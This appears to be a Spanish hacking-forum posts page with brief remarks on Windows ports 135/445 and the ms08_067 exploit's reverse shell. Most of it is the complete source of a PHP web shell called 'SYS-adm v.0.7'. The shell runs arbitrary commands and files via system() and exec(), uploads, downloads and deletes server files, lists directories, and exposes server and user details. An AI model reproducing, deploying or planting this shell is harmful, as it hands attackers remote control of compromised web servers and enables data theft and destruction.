CitarHombre, ya, ¿pero qué puerto viene predeterminado en windows para escuchar por defecto? creo que por defecto ninguno, por eso decía que si no hay nada a la eschucha no se hace nada.
segun el win$ suele tener el puerto 135, 445....
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarHombre, ya, ¿pero qué puerto viene predeterminado en windows para escuchar por defecto? creo que por defecto ninguno, por eso decía que si no hay nada a la eschucha no se hace nada.
<?php
error_reporting(5);
#modificamos el time final de ejecucion del script
@set_time_limit(0); //indefinido
#si hemos seleccionado el boton para descarga....
if(isset($_POST['down'])){
if(isset($_POST['file'])){
#descargamos el fichero que hemos seleccionado
header( "Content-Type: application/octet-stream");
header( "Content-Length: ".filesize($_POST['file']));
header( "Content-Disposition: attachment; filename=".$_POST['file']."");
readfile($_POST['file']);
}
}else if(isset($_POST['delete'])){
if(isset($_POST['file'])){
#borramos el fichero que hemos seleccionado
unlink($_POST['file']);
}
}
#ejecutamos el archivo segun lo que haya introducido el usuario
if(isset($_POST['exefile'])){
if(isset($_POST['strg_file'])){
exec($_POST['strg_file']);
}
}
#variable que se utilizara para ver en que OS nos encontramos
$OS = strtolower(substr(PHP_OS, 0, 3));
/****************************************************************/
#estilos css aplicados en la shell
echo '<style type="text/css">';
echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}';
echo 'a{color: #FF0000;text-decoration: none;}';
echo 'a:hover{color: #00FF00;text-decoration: underline overline;}';
echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}';
echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}';
echo 'iframe{margin: 5px;}';
echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}';
echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}';
echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}';
echo '#list td{vertical-align: top;}';
echo '#list a{color: #77FF77;text-decoration: none;}';
echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}';
echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
echo '.time{position: right;}';
echo '</style>';
/****************************************************************/
#subimos ficheros en el servidor
if(isset($_FILES['file'])){
$dest = getcwd(); //directorio donde nos encontramos
move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script
}
#recuperamos la url que ha introducido el usuario y lo añadimos en el proxy
if(isset($_POST['url'])){
$url = $_POST['url'];
}
#recuperamos el directorio actual que enviamos por parametro
if(isset($_GET['directory'])){
chdir($_GET['directory']);
$dir = getcwd();
}else{
//obtenemos el directorio actual y mostramos la lista
$dir = getcwd();
}
#funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial)
function permissions($perms){
if (($perms & 0xC000) == 0xC000) {// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
$info = 'p';
} else {// Unknown
$info = 'U';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
#creamos el nuevo directorio que el usuario a introducido o lo eliminamos
if(isset($_POST['create'])){
if(isset($_POST['direct'])){
@mkdir($_POST['direct']);
}
}else if(isset($_POST['drop'])){
if(isset($_POST['direct'])){
@rmdir($_POST['direct']);
}
}
/****************************************************************/
#estructura de la pagina web que mostraremos al usuario
echo '<html>';
echo '<head>';
#titulo de la pagina
echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>';
echo '</head>';
/*********************************************************/
/**************parte central de la pagina*****************/
/*********************************************************/
echo '<body>';
echo '<div id="header">';
# header con el logo
echo '8""""8 8 8 8""""8 <b>v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />';
echo '8 8 8 8 eeeee eeeee eeeeeee <br />';
echo '8eeeee 8eeee8 8eeeee 8 8 8 8 8 8 8 <br />';
echo ' 88 88 88 eeee 8eee8 8e 8 8e 8 8 <br />';
echo 'e 88 88 e 88 88 8 88 8 88 8 8 <br />';
echo '8eee88 88 8eee88 88 8 88ee8 88 8 8 ';
echo '';
echo '</div>';
echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto
echo '-> <b>Server Info</b> <-<br /><br />';
if($OS == 'win'){ //si el OS es un sistema win$
$chr = '\\';
echo 'Server OS -> <b><u>'.php_uname().'</u></b> [<b><font color="#FF0000"><u>'.getenv('OS').'</u></font></b>]'; //OS del servidor remoto
echo ' Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos
echo 'User name -> <b><u>'.getenv('username').'</u></b> Profile -> <b><u>'.getenv('userprofile').'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b> Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
#comprobamos si el safemode esta activo o no en el sistema
if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
}else{
$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
}
/***********************************************************************/
echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
}else{ //OS unix like - gnu/linux
$chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas
$inf = posix_getpwuid(posix_getuid()); //obtenemos la informacion
echo 'Server OS -> <b><u>'.php_uname().'</u></b><br />'; //OS del servidor remoto
echo 'User name -> <b><u>'.$inf['name'].'</u></b> Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b> Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
#lo mismo que anteriormente, comprobamos si esta on o off el safemode
if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
}else{
$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
}
/**************************************************************************/
echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
}
echo '</div>'; //fin del div que contiene la informacion
/***************************************************************************/
/***************************************************************************/
#apartado donde se utilizara el "proxy" de la shell
echo '<div class="title">';
echo '-> <b>SYS-adm Proxy</b> <-<br /><br />';
echo '[NOTE -> add http:// or ftp:// to specify protocol]';
echo '</div>';
echo '<div id="proxy">';
#formulario para el envio de enlaces al "proxy" de la shell
if(!isset($url)){
echo '<form action="" method="post">';
echo '<input type="text" name="url" size="100" /> ';
echo '<input type="submit" value="Browse" />';
echo '</form>';
}elseif(isset($url)){
echo '<form action="" method="post">';
echo '<input type="text" name="url" size="100" value="'.$url.'" /> ';
echo '<input type="submit" value="Browse" />';
echo '</form>';
#mostramos la url que nos envia el usuario en el formulario
echo ' <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">';
#en caso de no tener operativo los iframes el navegador....
echo ' <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>';
echo ' </iframe>';
}
echo '</div>'; //fin del apartado de "proxy"
/************************************************************************/
#apartado donde mostraremos el listado de directorio
echo '<div>';
echo '<div class="title">';
echo '-> <b>Directory List</b> <-<br /><br />';
echo '</div>';
echo '<div id="list">';
echo '<b>'.$dir.'</b> ';
echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual
$files = array(); //array donde meteremos el listado
echo '<br />';
//tabla donde se muestran los distintos apartados, primeramente los titulos
echo '<table width="100%">';
echo '<tr>';
echo '<td width="35%">';
echo '<b>Name</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Size</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Last modified</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Permissions</b>';
echo '</td>';
echo '<td width="20%">';
echo '<b>File actions</b>';
echo '</td>';
echo '</tr>';
#mostramos los distintos files/directories como la info sobre su "size", permisos....
if(is_dir($dir)){ //comprobamos que el directorio actual es un directorio
if($dd = opendir($dir)){
while(($elem = readdir($dd)) !== false){
if(is_dir($elem)){ //si es un directorio lo mostramos por pantalla
echo '<tr><td class="files">';
echo '<a href="'.basename($_SERVER['PHP_SELF']).'?directory='.getcwd().'/'.$elem.'"><font color="#7777FF">'.$elem.'</font></a>'; //link para movernos hacia el directorio en question
echo '</td>';
echo '<td align="right">';
echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero)
echo '</td>';
echo '<td align="right">';
echo date('Y/m/d H:i:s',filemtime($elem)); //ultima modificacion
echo '</td>';
echo '<td align="center">';
echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir
echo '</td>';
echo '</tr>';
}else{
$files[] = $elem;
}
}
for($x = 0;$x < count($files);$x++){ //mostramos los archivos
echo '<tr><td>';
echo '<font color="#77FF77">'.$files[$x].'</font>';
echo '</td>';
echo '<td align="right">';
#mostramos el size del archivo, si es excesivo mostramos un aviso
if(eregi('-',(filesize($files[$x])/1024))){
echo '<font color="#BB8800"> filesize > 4</font><font color="#FF0000"> GB</font>';
}else{
echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>';
}
echo '</td>';
echo '<td align="right">';
echo date('Y/m/d H:i:s',filemtime($files[$x])); //fecha de modificacion
echo '</td>';
echo '<td align="center">';
echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo
echo '</td>';
echo '<td>';
echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">';
echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto
echo '<input type="submit" name="down" value="Download" /> ';
echo '<input type="submit" name="delete" value="Remove" />';
echo '</form>';
echo '</td>';
echo '</tr>';
}
}
closedir($dd); //cerramos el directorio
}
echo '</table>'; //terminamos la tabla
echo '</div>';
echo '</div>';
//final del apartado de listado de directorios
#apartado para la subida de archivos
echo '<div id="info">';
echo '-> <b>File manager</b> <-<br /><br />';
echo '<table align="center" size="75%">';
echo '<tr><td colspan="3" align="center">';
//formulario para el envio de archivos
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file" /> ';
echo '<input type="submit" name="submit" value="upload" />';
echo '</form>';
echo '</td></tr>';
//formulario para la creacion de directorios o su eliminacion
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr>';
echo '<td>';
echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual
echo '</td>';
echo '<td> </td>';
echo '<td>';
echo '<input type="submit" name="create" value="Create Directory" /> ';
echo '<input type="submit" name="drop" value="Delete Directory" />';
echo '</td>';
echo '</tr>';
echo '<tr><td> </td></tr>';
echo '</form>';
echo '</table>';
echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions';
echo '</div>';
#final del apartado de subida de archivos modificacion de directorios
#apartado para la ejecucion de comandos o archivos
echo '<div id="info">';
echo '-> <b>Process Manager</b> <-';
echo '<br /><br />';
#mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente
if(isset($_POST['exe'])){
if(isset($_POST['strg_com'])){
echo system($_POST['strg_com']);
}
}
#permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode
if($OS == 'win'){ //sistema win$
if(eregi('off',$sfmod)){
#mostramos los procesos en caso de estar inactivo
echo '<table align="center">';
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_com" /> ';
echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando
echo '</td></tr>';
echo '<br /><br />';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> ';
echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo
echo '</tr></td>';
echo '</form>';
echo '</table>';
}else{
#mostramos una alerta en caso de estar activo
echo '<font color="#FF0000">Alert, safe mode is active...</font>';
echo '<br />';
}
}else{ //gnu/linux - unix like, lo mismo que el apartado anterior
if(eregi('off',$sfmod)){
#mostramos los procesos en caso de estar inactivo
echo '<table align="center">';
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_com" /> ';
echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos
echo '</td></tr>';
echo '<br /><br />';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> ';
echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos
echo '</tr></td>';
echo '</form>';
echo '</table>';
echo 'NOTE -> Alert with user permissions';
echo '<br />';
}else{
#mostramos una alerta en caso de estar activo la proteccion
echo '<font color="#FF0000">Alert, safe mode is active...</font>';
echo '<br />';
}
}
echo '<br />';
echo '</div>';
#pie de pagina, donde mostramos la hora y demas
echo '<div id="footer">';
echo '-> <b>b10s_0v3rr1d3 '.chr(135).' SYS-adm v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>] </b><font color="#00FF00"> '.date('d/m/Y H:i:s').' </font><-';
echo '</div>';
echo '</body>';
/*********************************************************/
/********terminamos la parte central de la pagina*********/
/*********************************************************/
echo '</html>';
//final de la pagina/shell
?>
Cita de: manel92 en 27 Abril 2010, 14:20 PM
el exploit ms08_067_netapi que yo sepa da reverse shell
para que esperar a que ejecute el archivo si lo podemos hacer nosotros?
Citarun posible ejemplo de clases:como se comento, son ejemplos tampoco comentas que hayas hecho nada......